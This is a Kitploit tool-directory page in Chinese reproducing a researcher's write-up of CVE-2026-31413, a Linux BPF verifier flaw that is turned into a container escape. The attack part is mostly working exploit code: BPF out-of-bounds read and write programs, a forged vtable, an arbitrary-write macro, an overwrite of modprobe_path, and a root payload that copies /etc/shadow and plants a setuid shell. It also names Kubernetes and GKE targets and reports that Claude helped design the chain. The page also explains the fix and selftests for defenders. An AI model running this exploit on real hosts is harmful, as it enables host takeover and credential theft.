Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-31413-BPF-Container-Escape — CVE-2026-31413: BPF 验证器健全性缺陷 - 容器逃逸 | Kitploit
工具/GitHubGitHub/rat5ak/cve-2026-31413-bpf-container-escape
权限提升漏洞分析漏洞利用后渗透利用论文与研究学习与教育容器逃逸二进制利用
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
rat5ak/cve-2026-31413-bpf-container-escape

CVE-2026-31413-BPF-Container-Escape

CVE-2026-31413: BPF 验证器健全性缺陷 - 容器逃逸

查看仓库
1164个月前尚未审核

CVE-2026-31413: 从 BPF 验证器中的一个字节到容器逃逸

我在 Linux BPF 验证器中找到一个健全性漏洞——push_stack() 调用中的 + 1 导致验证器在分叉路径上跳过一条 ALU 指令。对于 BPF_OR,这意味着验证器跟踪 dst = 0,而 CPU 实际计算 0 | K = K。我编写了一个完整的容器逃逸利用:从 BPF map 进行越界(OOB)读写、劫持 vtable、覆盖 modprobe_path,最终在宿主机上获得 root 权限。随后我提交了一个包含两个补丁的补丁系列——一个单字符的验证器修复和 90 行 selftests——并将其合并到主线内核。

📹 容器逃逸演示视频

CVECVE-2026-31413
漏洞类型验证器健全性 - 寄存器值发散
根本原因push_stack(env, env->insn_idx + 1, ...) 在分叉路径上跳过 ALU 指令
引入版本bffacdb80b93 - Linux 7.0-rc1(2026 年 1 月 14 日)
修复版本c845894ebd6f - Linux 7.0-rc5(2026 年 3 月 22 日)
受影响版本6.12.75+(稳定版回移植 dea9989a3f)至 7.0-rc4
影响内核任意读写 → 容器逃逸 → 宿主机 root
所需权限CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN
修复方式一个字符:insn_idx + 1 → insn_idx

TL;DR

当 maybe_fork_scalars() 遇到 ARSH + AND/OR 与常量组合时,它会分叉验证器状态。被压入的路径得到 dst = 0 并跳过 ALU 指令。对于 AND 这没问题:0 & K = 0。但对于 OR 这是错误的:0 | K = K,而不是 0。

验证器认为该寄存器是零,但 CPU 中实际是 K。我利用这一点,从 BPF map value 构建任意越界读写,泄露 map 的内核地址,构造伪造的 bpf_map_ops vtable,通过 array_map_get_next_key 重定向 map_push_elem 实现任意写,并覆盖了 modprobe_path。触发一个未知二进制格式,内核便以 root 身份运行我的脚本。在容器中实现完全的主机逃逸。

补丁系列包含两个补丁:一个单字符的验证器修复,外加 90 行覆盖 OR 与 AND 分叉情况的 BPF selftests。2026 年 3 月 22 日由 Alexei Starovoitov 合并。2026 年 4 月 12 日由 Greg Kroah-Hartman 分配 CVE-2026-31413。


背景:BPF 验证器

eBPF 允许你将小程序加载到内核中——包过滤器、跟踪钩子、安全策略——而无需编译内核模块。问题在于你是在向 ring 0 注入代码。如果这段代码有 bug,那就是内核 bug。

因此,在任何 BPF 程序运行之前,内核的验证器会模拟每条可能的执行路径。它跟踪每个寄存器的内容(指针?标量?范围是多少?),对照 map 边界检查每次内存访问,并拒绝任何可能越界读写的操作。如果验证器认定某个程序是安全的,JIT 会将其编译为本地机器码,并以完整内核权限运行。此后不再有运行时边界检查。验证器就是安全边界。

这就是为什么验证器健全性漏洞与普通的内存破坏不同。对于堆溢出或 UAF,你得到一个内存破坏原语,然后必须在此基础上展开利用——堆喷射、对象整形、竞争窗口。而验证器漏洞则能让内核相信关于寄存器值的谎言。所有依赖该寄存器的边界检查都会通过。内核批准了你的越界访问,并毫无质疑地执行它。只要你能正确对齐寄存器状态,就能得到一个干净且可靠的利用原语。

我是如何发现的

我当时正在审计 maybe_fork_scalars()——这是 2026 年 1 月在 bffacdb80b93 中新增的代码。状态分叉总是很有趣,因为验证器在这里分裂为并行的探索路径;如果任何路径跟踪了错误的值,那么该路径下游的一切都是不健全的。

当该函数看到 ARSH + AND/OR 与常量源组合时,它会进行分叉。被压入的路径得到 dst = 0,并跳过 ALU 指令。当我读到 push_stack(env, env->insn_idx + 1, ...) 这一行时,我立刻明白了——+ 1 意味着被压入的路径永远不会执行 ALU 操作。对于 AND,0 & K = 0,所以跳过没问题。对于 OR,0 | K = K。被压入的路径认为结果是 0,而实际上它是 K。

当天晚上我写了一个 BPF 程序。用 ARSH 63 得到 {0, -1},再与常量做 OR,通过条件分支分离验证器路径,然后将这个“零”寄存器加到 map 指针上。验证器批准了 map_value + 0,而 CPU 实际访问的是 map_value + K。KASAN 在测试中确认了越界访问。

到第二天早上,我已经实现了越界读写。第二天晚上,完成了容器逃逸。整个过程我都使用了 Claude(Opus 4.5)——用于梳理验证器的状态分叉逻辑、头脑风暴利用原语,以及将越界读写转化为完整的逃逸链。vtable 劫持方案来自一次来回讨论,其间 Claude 逐一检查了 bpf_map_ops 的函数指针,寻找可调用的 gadget。

引入该漏洞的提交

提交 bffacdb80b93(“bpf: Recognize special arithmetic shift in the verifier”)于 2026 年 1 月 14 日合入 7.0-rc1。作者是 Alexei Starovoitov,共同开发者为 Puranjay Mohan。该提交新增了 maybe_fork_scalars(),用于处理 LLVM DAGCombiner 模式:``` w2 s>>= 31 // arithmetic shift right: w2 becomes 0 or -1 w2 &= -134 // AND with constant K

root@kitploit:~
LLVM 将 `select_cc setlt X, 0, A, 0` 降低为 `sra + and`。算术右移之后,寄存器要么是 `0`(非负输入),要么是 `-1`(全 1)。与常量进行 AND 运算得到 `0` 或 `K`。

验证器无法在单个 `bpf_reg_state` 中跟踪 `{0, K}` —— 其带符号范围 `[0, K]` 是过度近似,这导致它拒绝有效的 Cilium 程序。解决办法:分叉验证器状态。一个路径探索 `dst = 0`,另一个路径探索 `dst = -1`,各自跟踪精确值。

实现:```c
static int maybe_fork_scalars(struct bpf_verifier_env *env,
                              struct bpf_insn *insn,
                              struct bpf_reg_state *dst_reg)
{
    // ... condition check: dst range is [-1, 0], src is constant ...

    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
    //                             ^^^^^^^^^^^^
    //                    pushed path resumes AFTER the ALU insn
    if (IS_ERR(branch))
        return PTR_ERR(branch);

    regs = branch->frame[branch->curframe]->regs;
    __mark_reg_known(&regs[insn->dst_reg], 0);   // pushed: dst = 0
    __mark_reg_known(dst_reg, -1ull);             // current: dst = -1
    return 0;
}

在被压入的路径上会发生两件事:

  1. 目标寄存器被设置为 0
  2. 执行在 insn_idx + 1 处恢复 —— 即 ALU 操作之后的指令

对于 BPF_AND:dst = 0,跳过 AND。运行时:0 & K = 0。匹配。可靠。

对于 BPF_OR:dst = 0,跳过 OR。运行时:0 | K = K。不匹配。 验证器看到 0。CPU 拿到 K。不可靠。

该函数不检查操作码。它是为 AND 编写的——在这种情况下,跳过该指令等同于以 dst = 0 执行它——却也被应用到了 OR。对于 OR,这种等价关系不成立。

触发分歧

触发模式是五条指令:``` r6 = (u64)(map_value + 0) // load a positive value (guaranteed by map init) r6 s>>= 63 // arithmetic shift: r6 = 0 (positive input) r6 |= K // BUG: verifier forks, pushed path gets r6=0 if r6 s< 0 goto exit // steers verifier paths r9 += r6 // verifier: r9 += 0 (in-bounds) // runtime: r9 += K (OOB)

root@kitploit:~
验证器探索两条路径:

**当前路径**(`dst = -1`):OR 执行,`-1 | K` 仍为 `-1`。分支 `r6 s< 0` 被采用。验证器跟随退出路径。该路径是安全的,验证器对此予以确认。

**压入路径**(`dst = 0`,跳过 OR):`r6 = 0`。分支 `r6 s< 0` 不被采用。验证器落到 `r9 += r6`,看到 `r9 += 0`,并批准随后的内存访问为边界内访问。

**运行时**(`dst = 0`,OR 执行):map 值为正,因此经过 ARSH 后,`r6 = 0`。OR 执行:`0 | K = K`。分支 `K s< 0` 不被采用(K 为正)。`r9 += K` —— 越界 `K` 字节的访问,验证器却将其视为 `r9 += 0` 予以批准。

我控制 `K`。相对于任意 BPF map 值的任意偏移 OOB 读或写。

读取版本将泄露的数据存入第二个 map,供用户空间检索。写入版本从第三个 map 加载一个值,并将其写入 OOB 偏移处。两者均能通过验证器。

以下是完整的 `oob_read_prog` —— 这是来自 exploit 的实际代码,而非伪代码:```c
static int oob_read_prog(int map_fd, int dst_fd, int offset)
{
    int K = -offset;
    struct bpf_insn insn[] = {
        /* look up map_fd[0] → R0 = pointer to value, load seed into R6 */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),       /* map_lookup_elem */
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_LDX_MEM(BPF_DW, R6, R0, 0),                  /* R6 = seed (positive) */

        /* look up dst_fd[0] → R9 = pointer to output buffer */
        BPF_LD_MAP_FD(R1, dst_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_ST_MEM(BPF_DW, R10, -8, 0),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R9, R0),

        /* look up map_fd[0] again → R8 = base pointer for OOB access */
        BPF_LD_MAP_FD(R1, map_fd),
        BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -8),
        BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
        BPF_JMP_IMM(BPF_JNE, R0, 0, 2), BPF_MOV64_IMM(R0,0), BPF_EXIT_INSN(),
        BPF_MOV64_REG(R8, R0),

        /* === THE BUG === */
        BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 (positive seed) */
        BPF_ALU64_IMM(BPF_OR, R6, K),                    /* verifier: R6=0, runtime: R6=K */
        BPF_MOV64_IMM(R7, 0),
        BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K = offset */
        BPF_ALU64_REG(BPF_ADD, R8, R7),                   /* R8 = map_value + offset (OOB) */
        BPF_LDX_MEM(BPF_DW, R0, R8, 0),                  /* OOB read: 8 bytes */
        BPF_STX_MEM(BPF_DW, R9, R0, 0),                  /* store to output map */
        BPF_MOV64_IMM(R0, 0),
        BPF_EXIT_INSN(),
    };
    return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));
}

以及越界写入——与ARSH+OR相同的技巧,但将来自第三个map的值写入 越界偏移处:```c static int oob_write_prog(int map_fd, int val_fd, int offset) { int K = -offset; struct bpf_insn insn[] = { /* look up map_fd[0], load seed, trigger the bug / BPF_LD_MAP_FD(R1, map_fd), BPF_ST_MEM(BPF_W, R10, -4, 0), BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4), BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1), BPF_JMP_IMM(BPF_JEQ, R0, 0, 20), BPF_MOV64_REG(R9, R0), BPF_LDX_MEM(BPF_DW, R6, R9, 0), / R6 = seed */

root@kitploit:~
    BPF_ALU64_IMM(BPF_ARSH, R6, 63),                 /* R6 = 0 */
    BPF_ALU64_IMM(BPF_OR, R6, K),                    /* R6 = K (verifier: 0) */
    BPF_JMP_IMM(BPF_JSLT, R6, 0, 13),                /* skip if negative (verifier path) */

    BPF_MOV64_IMM(R7, 0),
    BPF_ALU64_REG(BPF_SUB, R7, R6),                   /* R7 = -K */
    BPF_ALU64_REG(BPF_ADD, R9, R7),                   /* R9 = OOB target */

    /* look up val_fd[0] → R8 = value to write */
    BPF_LD_MAP_FD(R1, val_fd),
    BPF_MOV64_REG(R2, R10), BPF_ALU64_IMM(BPF_ADD, R2, -4),
    BPF_RAW_INSN(BPF_JMP|BPF_CALL, 0,0,0, 1),
    BPF_JMP_IMM(BPF_JEQ, R0, 0, 4),
    BPF_LDX_MEM(BPF_DW, R8, R0, 0),                  /* R8 = write value */

    BPF_STX_MEM(BPF_DW, R9, R8, 0),                  /* OOB write */
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 2),
    BPF_MOV64_IMM(R0, 0), BPF_JMP_IMM(BPF_JA, 0, 0, 0),
    BPF_EXIT_INSN(),
};
return bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, insn, ARRAY_SIZE(insn));

}

root@kitploit:~
为了触发其中任一程序,我将其附加到一个套接字对,然后推送一个数据包通过:```c
static int trigger_bpf_prog(int prog_fd)
{
    int socks[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0) return -1;
    setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));
    char buf[64] = "x";
    write(socks[1], buf, sizeof(buf));
    struct timeval tv = { .tv_sec = 1 };
    setsockopt(socks[0], SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
    read(socks[0], buf, sizeof(buf));
    close(socks[0]); close(socks[1]);
    return 0;
}

取反并相加模式(R7 = 0 - R6; R8 += R7)让我们能从映射值到达负偏移量——而映射自身的元数据就存放在那里。


漏洞利用:从越界到容器逃逸

完整攻击链:``` BPF_OR divergence (verifier: dst=0, runtime: dst=K) │ ▼ Arbitrary OOB read/write relative to map value │ ├── Read offset -136 → leak freeze_mutex.wait_list → map kernel address ├── Read offset -264 → leak ops vtable → confirm array_map_ops │ ▼ Build fake bpf_map_ops vtable in map value (42 slots from kallsyms) → slot 15 (map_push_elem) = array_map_get_next_key │ ▼ Corrupt map header via OOB writes → ops → fake vtable → map_type → BPF_MAP_TYPE_QUEUE (22) → max_entries → 0xFFFFFFFF │ ▼ bpf(BPF_MAP_UPDATE_ELEM) dispatches through map_push_elem → array_map_get_next_key(map, value, flags) → writes (u32)value + 1 to (u32)flags → flags = attacker-controlled kernel address │ ▼ Overwrite modprobe_path → "/tmpn/mo" │ ▼ Exec unknown binary format → kernel runs /tmpn/mo as root │ ▼ Restore map header → clean exit

root@kitploit:~
### 目标布局

`BPF_MAP_TYPE_ARRAY` 由 `struct bpf_array` 支撑,它在偏移 0 处内嵌了 `struct bpf_map`。实际的 map 值从偏移 264 处开始(位于 `bpf_array` 头部 + 对齐之后)。因此,从 `value[0]` 来看,map 自身的元数据位于已知的负偏移处:```
                   struct bpf_map (embedded in bpf_array)
                   ┌────────────────────────────────────────┐
offset from val[0] │                                        │
    -264           │ ops          (struct bpf_map_ops *)    │ ← vtable pointer
    -240           │ map_type     (u32)                     │
    -236           │ key_size     (u32)                     │
    -232           │ value_size   (u32)                     │
    -228           │ max_entries  (u32)                     │
                   │ ...                                    │
    -136           │ freeze_mutex.wait_list                 │ ← points back into struct
                   │ ...                                    │
       0           │ value[0]     ← our OOB origin          │
                   └────────────────────────────────────────┘

我在 6.12.76-docker vmlinux 上用 pahole 验证了这些。在测试的 内核上,偏移量完全匹配。

步骤 1:信息泄露

两次 OOB 读取就给了我所需的一切:

wait_list,偏移量为 -136。 这是 freeze_mutex.wait_list,一个 list_head,当互斥锁未被争用时它指向自身。它的值 是 &map->freeze_mutex.wait_list——一个指向 map 结构的内核指针。 减去 128 就得到 map 的基地址。加上 264 就得到 value[0] 的内核 地址。

ops,偏移量为 -264。 这是 bpf_map_ops vtable 指针。在未修改的 内核上,它指向全局的 array_map_ops 符号。我读取它是为了 确认内核未被修补,并获取用于克隆的 vtable 地址。```c uint64_t wait_list = do_oob_read(victim, scratch, OFF_WAIT_LIST); uint64_t map_addr = wait_list - 128; uint64_t val_addr = map_addr + 264;

uint64_t ops = do_oob_read(victim, scratch, OFF_OPS); if (ops != ARRAY_MAP_OPS) { fprintf(stderr, "[-] ops mismatch! Kernel might be patched.\n"); return 1; }

root@kitploit:~
此时,我拥有:map 的内核地址、我的受控
数据(`value[0]`)的地址,以及已确认的 vtable 指针。

### 步骤 2:伪造 vtable

`bpf_map_ops` 有 42 个函数指针槽位。如果我仅仅将不需要的槽位清零,那么
内核在第一次接触其中一个时就会发生空指针解引用。因此,我
从 `/proc/kallsyms` 解析每一个符号,并构建一个完整的副本:```c
uint64_t *vt = (uint64_t *)(val + 8);  // offset 8 in value (slot 0 is seed)
vt[ 0] = sym_alloc_check;       // map_alloc_check
vt[ 1] = sym_alloc;             // map_alloc
vt[ 2] = 0;                     // map_release (unused path)
vt[ 3] = sym_free;              // map_free
vt[ 4] = sym_get_next_key;      // map_get_next_key
// ...
vt[12] = sym_lookup_elem;       // map_lookup_elem
vt[13] = sym_update_elem;       // map_update_elem
vt[14] = sym_delete_elem;       // map_delete_elem
vt[15] = ARRAY_GET_NEXT_KEY;    // map_push_elem ← THE HIJACK
// ...
vt[40] = sym_mem_usage;         // map_mem_usage

Slot 15 是 map_push_elem。在真正的 array_map_ops 中,这是 NULL(数组 不支持 push)。我将其替换为 array_map_get_next_key。

为什么用 get_next_key?它的签名是:```c int array_map_get_next_key(struct bpf_map *map, void *key, void *next_key)

root@kitploit:~
它读取 `*(u32 *)key`,将其递增,并将结果写入 `*(u32 *)next_key`。当通过 `map_push_elem` 分发路径调用时:```c
int bpf_map_push_elem(struct bpf_map *map, void *value, u64 flags)
    → map->ops->map_push_elem(map, value, flags)

flags 参数最终落在 next_key 参数中。如果我控制 flags,就能控制写入目标。写入的值是 *(u32 *)value + 1——一个可以通过设置 push 缓冲区前 4 个字节来预测的小整数。

步骤 3:映射破坏

在我能使用伪造的 vtable 之前,我需要将 map 重定向到它,并更改其类型,以便内核通过 map_push_elem 进行分发。按顺序执行三次 OOB 写入:```c // Point ops at my fake vtable (lives at val_addr + 8) exec_oob_write(prog_wr_ops, scratch, val_addr + 8);

// Disable max_entries bounds check exec_oob_write(prog_wr_max, scratch, 0xFFFFFFFFULL);

// Change map_type to BPF_MAP_TYPE_QUEUE (22) exec_oob_write(prog_wr_type, scratch, 22ULL);

root@kitploit:~
类型变更至关重要。当用户态在数组映射上调用 `bpf(BPF_MAP_UPDATE_ELEM)` 时,内核会通过 `map_update_elem` 进行分发。但在队列映射上,同一系统调用会通过 `map_push_elem` 分发——而后者现在指向 `array_map_get_next_key`。

我在破坏任何东西之前,*预先*加载全部六个 BPF 程序(三个写操作 + 三个恢复操作)。一旦我破坏了 `ops` 指针,就无法再加载引用此映射的新 BPF 程序——验证器会跟随伪造的 vtable 并崩溃。一切都必须提前准备就绪。

### 步骤 4:通过 map_push_elem 实现任意写

现在我可以向任意内核地址写入 4 字节:```c
#define ARB_WRITE32(addr, val32) do { \
    uint32_t _v = (val32); \
    uint32_t _pv = _v - 1; \
    memset(push_buf, 0, sizeof(push_buf)); \
    memcpy(push_buf, &_pv, 4); \
    map_push(victim, push_buf, (addr)); \
} while(0)

map_push() 调用 bpf(BPF_MAP_UPDATE_ELEM),其中 flags = addr。内核 分派到我劫持的 map_push_elem → array_map_get_next_key(map, push_buf, addr)。它读取 *(u32 *)push_buf(即 val - 1),加 1,然后 将 val 写入 *(u32 *)addr。

这个写原语是通过 get_next_key 进行的 4 字节 u32 存储。没有 对齐约束——内核会在我们提供的任意地址执行正常的 *(u32 *)addr = val。

第 5 步:覆盖 modprobe_path

modprobe_path 是内核中的一个全局 char[256],默认为 /sbin/modprobe。 当内核遇到一个带有未知魔数的可执行文件时,它会以 root 身份调用 modprobe_path 来加载相应的模块。将它覆盖为我控制的路径, 触发一个未知的二进制格式,内核就会以 root 身份运行我的脚本。

目标路径是 /tmpn/mo。我无法写入任意字符串——我只能通过 get_next_key 的整数递增每次写入 4 字节。但我只需要两次写入:```c // Original: "/sbin/modprobe\0" // Write "/tmp" at offset 0: ARB_WRITE32(MODPROBE_PATH + 0, 0x706d742fU); // "/tmp" little-endian // Write "\0\0\0\0" at offset 8 (null-terminate): ARB_WRITE32(MODPROBE_PATH + 8, 0x00000000U); // Bytes 4-7 are untouched: "n/mo" from original "/sbin/modprobe" // Result: "/tmpn/mo\0"

root@kitploit:~
在容器模式下,`modprobe_path` 在 init 挂载命名空间中解析——而不是
容器的。因此 payload 脚本必须存在于宿主机的 `/tmpn/mo`。
使用 `--pid=host` 或共享的 PID 命名空间时,我可以通过
`/proc/1/root/` 访问宿主机文件系统:```c
snprintf(payload_script, sizeof(payload_script), "/proc/1/root/tmpn/mo");

在实际攻击中,漏洞利用程序通过 /proc/1/root/tmpn/mo 将载荷写入宿主机的 /tmpn/mo (当 Pod 共享 PID 命名空间时可访问, 这是服务网格边车(如 Cilium)和监控代理(如 Falco)的标准配置)。演示简化了此步骤: 编排器预先将载荷放置在宿主机上, 因此漏洞利用程序只需触发执行。

漏洞利用程序创建触发器二进制文件 - 4 字节的 \xff - 并执行它。 内核无法识别该格式,会查找 modprobe_path,找到 /tmpn/mo,并以 root 身份运行它。

载荷:```sh #!/bin/sh id > /tmp/pwned cat /etc/shadow >> /tmp/pwned 2>/dev/null cp /bin/sh /tmp/pwn 2>/dev/null && chmod 04755 /tmp/pwn 2>/dev/null

root@kitploit:~
### 步骤 6:清理

在写入 `modprobe_path` 之后,我恢复 map 头部——类型、max_entries、
ops——使用三个预先加载的恢复程序。map 恢复为一个普通的
数组。没有悬空的伪 vtable,没有内核不稳定。该漏洞利用是
单次执行的,并留下干净的状态。```c
exec_oob_write(prog_rst_type, scratch, orig_type_key);
exec_oob_write(prog_rst_max, scratch, orig_max);
exec_oob_write(prog_rst_ops, scratch, orig_ops);

在我的演示环境中,从首次 OOB 读取到获得 root shell 的完整攻击链花了大约几秒钟。


漏洞利用层级

除了核心的容器逃逸之外,我还构建了一系列独立的漏洞利用层级,它们基于同一原语展示不同的后渗透利用能力。每个层级都是 exploit/ 目录下一个自包含的 C 文件,使用共享的 exploit_common.h 辅助库进行 ARSH+OR 越界读/写设置。

所有层级在退出前都会还原所有修改。已在 6.12.76 上测试。

构建```bash

make # builds everything (PoCs + exploits + tiers) make setcaps # sets required capabilities on all binaries

root@kitploit:~
或者单独:```bash
gcc -O2 -Wall -static -I. -o exploit/tier2_cred_overwrite exploit/tier2_cred_overwrite.c
sudo setcap cap_bpf,cap_perfmon,cap_net_admin,cap_syslog+ep exploit/tier2_cred_overwrite

每个层级都需要 CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN + CAP_SYSLOG。


仓库结构```

├── exploit/ │ ├── exploit_common.h # Shared primitives (OOB R/W, arb R/W, ksym) │ ├── exploit.c # Core container escape (modprobe_path) │ ├── exploit_gke.c # GKE/kCTF variant (v1: vtable hijack + modprobe_path) │ ├── exploit_gke_v2.c # v2: data-only cred overwrite (recommended) │ └── tier2-10_.c # Post-exploitation tiers (see table above) ├── poc/ │ ├── validate_bug.c # Minimal verifier bug trigger │ ├── test_oob.c # OOB access proof │ ├── leak_map_addr.c # Map address leak │ └── step1-3_.c # Incremental exploit development ├── patches/ │ └── *.patch # Fix + selftests (v3) ├── demo/ │ ├── container_escape_demo.mp4 # Full demo video │ ├── Dockerfile # Vulnerable container │ └── demo_escape.sh # Demo orchestrator ├── bpf_helpers.h # BPF syscall wrappers └── Makefile

root@kitploit:~
---


## 影响范围


该漏洞利用需要 `CAP_BPF + CAP_PERFMON + CAP_NET_ADMIN`。在未特权容器或加固系统的普通用户账户中,你无法获得这些权限。但在很多场景下,你确实拥有这些 capability。


### 非特权 BPF 系统

如果 `kernel.unprivileged_bpf_disabled=0`(用 `sysctl` 检查),任何本地用户都可以加载 BPF 程序。这曾是旧发行版的默认设置,有时也会在开发/测试环境中启用。在这些系统上,这是一个直接的本地权限提升——任何用户到 root,无需特殊权限。

大多数现代发行版默认带有 `unprivileged_bpf_disabled=1` 或 `=2`(锁定),因此在 Ubuntu 22.04+、Debian 12+、Fedora、RHEL 9 等默认安装中,这条路径已被关闭。


### Kubernetes / 容器环境

这是该漏洞危害最大的地方。标准非特权容器会丢弃 `CAP_BPF`,因此它们无法触发该漏洞。但许多基础设施 Pod 以提升的 capability 运行:

| 产品 | 默认权限 | 备注 |
|---------|-------------------|-------|
| **Cilium**(GKE Dataplane V2) | `CAP_SYS_ADMIN` + `CAP_NET_ADMIN` | 网络策略,运行在每个节点上 |
| **Falco** | `privileged: true` | 运行时安全,挂载 /dev |
| **Tetragon** | `privileged: true` | eBPF 可观测性 |
| **Datadog Agent** | `CAP_SYS_ADMIN` + 另外 7 项 | 指标、日志、APM |
| **Pixie** | `privileged: true` | 基于 eBPF 的可观测性 |
| **Tracee** | `privileged: true` 或 BPF capability | Aqua 的运行时安全 |

这些通常以 DaemonSet 形式运行——每个节点一个 Pod,覆盖整个集群。如果攻击者攻陷其中任何一个 Pod(同一节点上 Web 服务的 RCE、供应链攻击、通过 SSRF 进入 agent API 等),他们便拥有运行该漏洞利用并逃逸到宿主 root 所需的 capability。

**重要提醒:** 该漏洞利用仅在内核包含漏洞代码时有效(6.12.75-6.12.79、6.18.x-6.18.20、6.19.x-6.19.10、7.0-rc1 至 rc4)。大多数生产 K8s 集群运行的是较旧的 LTS 内核。在假定可利用之前,请先用 `uname -r` 检查节点内核版本。

从一个节点的宿主 root 出发,通常可以通过相同的 DaemonSet(共享服务账户、挂载的 secret 等)横向移动到其他节点。


### 托管 Kubernetes(GKE、EKS、AKS)

Google GKE 默认使用 Cilium 作为 Dataplane V2。如果 GKE 节点运行未修补的 6.12.x 内核(请检查节点池版本),任何 Cilium Pod 被攻陷都会变成宿主 root 和节点接管。我专门针对此场景构建了该漏洞利用——这就是它命名为 `exploit_gke.c` 的原因。

如果 Amazon EKS 和 Azure AKS 运行带有 Cilium 或类似基于 BPF 的网络组件的 6.12.x 内核,它们也可能受到影响。需要检查具体的 AMI/VM 镜像版本。


### Android

Android 使用 eBPF 进行网络流量统计(netd)、功耗分析和内存跟踪。当前 Android 设备(14/15)使用 6.1 LTS 内核,**不受影响**。Android 16 可能会采用 6.12 LTS——如果确实采用,并且包含易受攻击的回移补丁,攻击面将是加载 BPF 程序的系统服务,如 `netd` 和 `system_server`。

这是推测性的,取决于 Android 的内核采用时间线。我已向 Android VRP 提交以供跟踪。


### 共享内核容器(LXC/LXD)

共享宿主内核的系统容器(不同于 VM)完全暴露。攻陷共享内核 = 攻陷宿主 + 其上所有其他容器。这不同于 Docker/containerd,后者逃逸到的宿主本身可能是 VM。


### 它无法逃逸什么

这是一个 guest 内核漏洞,而非虚拟机管理程序逃逸。如果你在 EC2 实例中运行该漏洞利用,你只能获得该实例的 root——你无法逃逸 Nitro 虚拟机管理程序到物理宿主或其他租户。GCE、Azure VM、KVM 等也是如此。硬件边界仍然保持。


### 受影响的内核

| 分支 | 受影响版本 | 修复版本 |
|--------|----------|-------|
| 6.12.y(LTS) | `dea9989a3f` 至 6.12.79 | 6.12.80+ |
| 6.18.y | `4c122e8ae149` 至 6.18.20 | 6.18.21+ |
| 6.19.y | `e52567173ba8` 至 6.19.10 | 6.19.11+ |
| mainline | 7.0-rc1 至 7.0-rc4 | 7.0-rc5+ |

引入提交:`bffacdb80b93`("bpf: Recognize special arithmetic shift in the verifier")
修复提交:`c845894ebd6f`

`CAP_BPF` 并不是一种安全的 capability。验证器漏洞会将其转化为任意内核读写。将其授予工作负载 Pod 的产品应将其视作 `CAP_SYS_ADMIN`。


---


## 修复方案


一个字符:```diff
-    branch = push_stack(env, env->insn_idx + 1, env->insn_idx, false);
+    branch = push_stack(env, env->insn_idx, env->insn_idx, false);

不再将分支推入到 insn_idx + 1(跳过 ALU 指令),而是推入到 insn_idx——即指令本身。被推入的路径以 dst = 0 重新执行 ALU 操作:

  • AND: 0 & K = 0 ✓
  • OR: 0 | K = K ✓

原始方法很巧妙——跳过指令并硬编码结果,从而在被推入路径上节省一次验证器步骤。但该优化仅在以 dst = 0 执行指令的结果确实为零时才成立。这对 AND 成立,对 OR 则不成立。修复方案放弃了这一优化:只需重新执行该指令,让验证器为任何操作码计算出正确的值。

我经历了三个补丁修订版本:

  • v1:为 maybe_fork_scalars() 添加了 opcode 参数,并在被推入路径上对 OR 设置 dst = K、对 AND 设置 dst = 0。可行但增加了复杂性。
  • v2:Eduard Zingerman 建议采用重新执行的方法——推入到 insn_idx 而不是 insn_idx + 1。更简单,与操作码无关,消除了整类“跳过 vs 执行”的 bug。
  • v3:根据 Alexei Starovoitov 的评审意见,在 selftests 中使用单行注释风格。修复内容相同。

该修复于 3 月 22 日由 Alexei Starovoitov 以 c845894ebd6f 合并。selftests 在 0ad1734cc559 中。由 Eduard Zingerman 评审,Amery Hung 确认。

selftests 覆盖以下三种情况:

  1. or_scalar_fork_rejects_oob - ARSH 63 + OR 8,value_size=8,偏移 8 处的访问为 OOB → 必须拒绝
  2. and_scalar_fork_still_works - 回归测试,AND 路径仍然接受
  3. or_scalar_fork_allows_inbounds - OR 4,value_size=8,偏移 4 在界内 → 必须接受

Linus 合并了 d5273fd3ca0b(“Merge tag 'bpf-fixes'”),并附注:“修复 OR 指令的不健全标量分叉(Daniel Wade)”。


时间线


资源

  • 修复提交:c845894ebd6f(“bpf: Fix unsound scalar forking in maybe_fork_scalars() for BPF_OR”)
  • Selftests:0ad1734cc559(“selftests/bpf: Add tests for maybe_fork_scalars() OR vs AND handling”)
  • 引入提交:bffacdb80b93(“bpf: Recognize special arithmetic shift in the verifier”)
  • 补丁系列:lore.kernel.org
  • 漏洞利用源码 + 补丁:github.com/Rat5ak/CVE-2026-31413-BPF-Container-Escape

免责声明: 此漏洞利用代码是在负责任披露和补丁合并后,出于教育和防御性研究目的而发布。请勿将其用于您不拥有或未经明确授权测试的系统。作者不对滥用行为负责。

